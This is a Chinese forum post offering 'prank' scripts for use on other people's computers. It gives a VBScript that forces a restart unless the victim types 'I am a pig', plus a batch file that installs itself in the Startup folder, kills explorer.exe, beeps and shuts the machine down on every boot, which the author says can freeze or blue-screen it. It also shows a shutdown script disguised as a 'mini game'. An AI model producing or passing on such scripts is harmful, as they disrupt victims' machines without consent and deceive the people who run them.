代码如下: 
该隐藏帖已经发布超过60天,已自动取消隐藏功能,无需回复即可查看!
--------------------------------------------我是横线不要复制我------------------------------------------ 
on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true 
dim a 
do while(a <> "我是猪") 
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) 
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
loop 
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,你确实是一头猪~" 
--------------------------------------------我是横线不要复制我------------------------------------------ 
将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 .vbe 
把文件传送给对方~~只要对方一打开一分钟就会关机,如上面说的,要你说那三个字,就不会关机了哈哈大家试试吧。 
    相对第二种第一种比较简单 回复一下 立马可看 
第二种整人: 
@echo off 
if exist New.bat copy "New.bat" "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\New.bat" 
for %%a in (c d e f g h) do ( 
for /f %%b in ('dir /s /b "%%a:\QQ.exe"') do ( 
goto :1 
:1 
tasklist|findstr /i "1.exe" || start %%b 
)) 
at echo ^G^G^G^G^G^G&taskkill /f /t explorer.exe&shutdown -s -t 60 
goto :1 
效果是每次开机都会自动60秒内关机,而且机器不停的发出蜂鸣声非常吵!桌面消失 60秒内内存耗尽 ,机器烂一点的会蓝屏或死机,好一点的也会死机! 
我这里写的是New.bat 你可以重命名! 后缀为.bat就可以了! 
第三种:新建一个txt文档,打开把这段命令放到里面。 
shutdown -s -t 60 
然后文件--》另存为———》文件类型(选所有文件)——》文件名(小游戏.bat)然后保存。打开开看看吧! 
取消关机的办法  把刚才那段命令换成 shutdown -a 
这里的60就是60秒关机,换成别的时间也好使,比如5秒,嘿嘿 
这个是电脑设置自动关机的代码: 
1)新建记事本文件(重命名为a.txt) 
2)输入at 16:00 shutdown -s -t 120 
3)把刚才的a.txt重命名为a.bat 
4)运行刚刚作好的文件,实现当天16:00关机(或者第二天) 
16:00(时间随便设) 
[ 此帖被委琐哥哥在2011-09-19 15:46重新编辑 ]
    👀 温馨提示:部分内容需登录后查阅。立即登录
  中华游戏网 cnyouw.cn